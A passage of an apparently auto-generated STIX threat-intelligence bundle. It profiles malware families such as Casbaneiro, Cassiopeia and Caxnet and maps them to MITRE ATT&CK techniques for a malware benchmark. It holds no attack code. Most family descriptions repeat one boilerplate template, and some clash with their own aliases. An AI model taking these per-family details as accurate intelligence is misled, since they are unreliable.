infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Carrobat",
        "Downloader.Carrobat",
        "Win32/Carrobat",
        "Ransom:Win32/Carrobat",
        "Ransom.Win32.Carrobat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Carrobat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/carrobat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef6a6541-8830-58b8-abee-b391f1074f4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b9c7500-1689-5e08-b481-61b3e38592f3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carrobat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d8abc2d-d60b-5590-914d-64c75b658ccb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b9c7500-1689-5e08-b481-61b3e38592f3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carrobat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84a7f91d-7531-55f3-b139-edcf0dabadc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b9c7500-1689-5e08-b481-61b3e38592f3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carrobat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--521d77d2-9d93-554a-a488-686a9d564a27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Casbaneiro",
      "description": "Casbaneiro (classified in antivirus detection telemetry under designations including Trojan:Win32/Casbaneiro, Trojan.Win32.Casbaneiro, and Win32/Casbaneiro) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Casbaneiro executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Casbaneiro",
        "Trojan.Win32.Casbaneiro",
        "Win32/Casbaneiro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Casbaneiro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/casbaneiro"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--51f784b2-9c5d-57fb-a8ec-572422bdf826",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1102.001: Web Service: Dead Drop Resolver (Using YouTube/GitHub for C2 routing)",
      "description": "MITRE ATT&CK Technique T1102.001 (Web Service: Dead Drop Resolver (Using YouTube/GitHub for C2 routing)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1102.001",
          "url": "https://attack.mitre.org/techniques/T1102/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d818f5dd-60b8-52e5-a645-90ed772f626e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--521d77d2-9d93-554a-a488-686a9d564a27",
      "target_ref": "attack-pattern--51f784b2-9c5d-57fb-a8ec-572422bdf826",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casbaneiro exhibits technique T1102.001 (Web Service: Dead Drop Resolver (Using YouTube/GitHub for C2 routing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--730c69f9-3954-59c3-a25c-826923c529dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--521d77d2-9d93-554a-a488-686a9d564a27",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casbaneiro exhibits technique T1566.002 (Phishing: Spearphishing Link (Fake Banking Pop-ups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--520b7c55-7f1c-56c7-976e-a71ae309ca27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--521d77d2-9d93-554a-a488-686a9d564a27",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casbaneiro exhibits technique T1056.004 (Input Capture: Credential API Hooking (Monitoring Window Titles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5693867-0911-51ce-a6d3-db7e1ba71875",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--521d77d2-9d93-554a-a488-686a9d564a27",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casbaneiro exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Initial Dropper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d48f44dd-8974-5967-838b-047adc6bf9cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--521d77d2-9d93-554a-a488-686a9d564a27",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casbaneiro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f897d1ad-8438-5503-85aa-3052947f136b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cashfiesta",
      "description": "Cashfiesta (classified in antivirus detection telemetry under designations including Trojan:Win32/Cashfiesta, Trojan.Win32.Cashfiesta, and Win32/Cashfiesta) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cashfiesta executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.CashFiesta",
        "Spyware.CashFiesta",
        "Win32/CashFiesta",
        "Trojan:Win32/Cashfiesta",
        "Trojan.Win32.Cashfiesta",
        "Win32/Cashfiesta"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cashfiesta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cashfiesta"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b1500bb-e201-5ea0-8e10-007483a5d8e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f897d1ad-8438-5503-85aa-3052947f136b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cashfiesta exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--711933d6-8a69-572f-82d1-56f23419d3ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f897d1ad-8438-5503-85aa-3052947f136b",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cashfiesta exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--920b10e9-2c64-59f0-a601-e917960b324a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f897d1ad-8438-5503-85aa-3052947f136b",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cashfiesta exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5efe044c-5a68-54c8-b6c4-b35ff0238254",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Casinoonline",
      "description": "Casinoonline (classified in antivirus detection telemetry under designations including Trojan:Win32/Casinoonline, Trojan.Win32.Casinoonline, and Win32/Casinoonline) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Casinoonline executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Casinoonline",
        "Trojan.Win32.Casinoonline",
        "Win32/Casinoonline"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Casinoonline",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/casinoonline"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b564cdb-24d4-59c1-8488-f0a341645e47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5efe044c-5a68-54c8-b6c4-b35ff0238254",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casinoonline exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--095ecd1b-42ec-51b1-a8bc-f18eb29d800e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5efe044c-5a68-54c8-b6c4-b35ff0238254",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casinoonline exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b44ccdc-cfec-5f8b-a46c-b9c04098961f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5efe044c-5a68-54c8-b6c4-b35ff0238254",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casinoonline exhibits technique T1546 (Event Triggered Execution (Shortcut Modification))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83a2c75e-02df-50a3-81a1-a638fb607c33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5efe044c-5a68-54c8-b6c4-b35ff0238254",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casinoonline exhibits technique T1491 (Defacement (UI Manipulation/Pop-ups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e29fc3-bde6-5ca4-8be9-2b9aa0d93d43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5efe044c-5a68-54c8-b6c4-b35ff0238254",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casinoonline exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0622578c-b025-5cbe-aa82-3fc4996dfc7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Casper",
      "description": "Casper is a sophisticated espionage Trojan heavily linked to the advanced persistent threat (APT) group known as Animal Farm (or Babar). Discovered in the mid-2010s, Casper primarily targets governmental organizations and research institutions. The malware acts as a first-stage reconnaissance and staging tool, leveraging zero-day vulnerabilities (such as Adobe Flash exploits) to infiltrate target networks. Once executed, Casper employs advanced evasion techniques, including environmental checks to detect virtualization, sandboxes, and specific antivirus engines, effectively preventing analysis. It systematically gathers system metadata, network configuration, and user credentials, wrapping the data in custom encryption before exfiltrating it to hardcoded Command and Control (C2) servers. A notable feature of Casper is its structural resemblance and shared code components with other Animal Farm tools like Babar and Bunny, confirming its role in a broader, state-sponsored cyber espionage campaign characterized by high operational security and bespoke development. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Babar-Casper",
        "Animal Farm Casper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Casper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/casper"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cdb5210-15b7-5d59-b609-15c294c43e9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0622578c-b025-5cbe-aa82-3fc4996dfc7a",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casper exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66598dd0-c940-5ebc-999a-2eac9bf0208a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0622578c-b025-5cbe-aa82-3fc4996dfc7a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casper exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2db5b88c-8dd3-5064-8b68-54e34956c94b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0622578c-b025-5cbe-aa82-3fc4996dfc7a",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Casper exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6c2feb71-8504-5aa8-8102-8164fa6fb44d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cassiopeia",
      "description": "Cassiopeia (cataloged across security vendor detection systems as Backdoor:Win32/Cassiopeia, BKDR_CASSIOPEIA.A, and Trojan:Win32/Cassiopeia) is a stealthy Remote Access Trojan (RAT) and persistent backdoor active since 2012. Engineered for targeted enterprise infiltration and corporate espionage, Cassiopeia is typically distributed through spearphishing emails carrying weaponized document droppers or deployed as a secondary payload by web exploit kits. Upon execution, the malware unpacks its encrypted core binary, dropping a randomized executable into %APPDATA% or %SYSTEMROOT% directories, and secures autostart persistence through Windows Registry Run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and hidden scheduled tasks. To mask its outbound communications, Cassiopeia injects its networking modules into legitimate Windows system processes (such as svchost.exe). The backdoor establishes encrypted command-and-control beaconing, granting remote adversaries interactive command shell access, system reconnaissance profiling, keystroke monitoring, arbitrary file upload/download capabilities, and network pivoting functionality. (Observed samples in benchmark: 137)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Cassiopeia",
        "BKDR_CASSIOPEIA.A",
        "Trojan:Win32/Cassiopeia",
        "Win32/Cassiopeia",
        "Trojan.Cassiopeia"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cassiopeia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cassiopeia"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f78a774e-b6e6-5fc1-ad58-b09d4bd239a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c2feb71-8504-5aa8-8102-8164fa6fb44d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cassiopeia exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3014a116-d797-55dd-b234-253d8a8a726a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c2feb71-8504-5aa8-8102-8164fa6fb44d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cassiopeia exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cd6d4a5-e585-5b06-ad01-89af4ba9e0bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c2feb71-8504-5aa8-8102-8164fa6fb44d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cassiopeia exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80564a71-f761-5846-9186-5f3183f9d775",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c2feb71-8504-5aa8-8102-8164fa6fb44d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cassiopeia exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa915e7a-821d-5e51-b27a-2990b1c3fc7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c2feb71-8504-5aa8-8102-8164fa6fb44d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cassiopeia exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a46d4c8f-bb1c-5349-8384-8a426bd9ae7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Catalina",
      "description": "Catalina (classified in antivirus detection telemetry under designations including Trojan:Win32/Catalina, Trojan.Win32.Catalina, and Win32/Catalina) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Catalina executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Catalina",
        "Trojan.Win32.Catalina",
        "Win32/Catalina"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Catalina",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/catalina"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e54e33bf-98a6-5324-ad3f-cc9aab8ecfb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a46d4c8f-bb1c-5349-8384-8a426bd9ae7d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Catalina exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85098c0f-688b-5b7b-a274-979fd2c74971",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a46d4c8f-bb1c-5349-8384-8a426bd9ae7d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Catalina exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0db502b2-5497-5aeb-9745-b8056c70d2ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a46d4c8f-bb1c-5349-8384-8a426bd9ae7d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Catalina exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80def7ed-aa60-5e65-962a-f1e84529f2c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a46d4c8f-bb1c-5349-8384-8a426bd9ae7d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Catalina exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6310df6c-ed89-5073-a354-984ef4a24422",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Caxnet",
      "description": "Caxnet (classified in antivirus detection telemetry under designations including Ransom:Win32/Caxnet, Ransom.Win32.Caxnet, and Win32/Caxnet) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Caxnet executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Caxnet",
        "Downloader.Caxnet",
        "Win32/Caxnet",
        "Ransom:Win32/Caxnet",
        "Ransom.Win32.Caxnet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Caxnet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/caxnet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89ef70eb-3eb4-5821-8a71-c505db018327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6310df6c-ed89-5073-a354-984ef4a24422",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Caxnet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
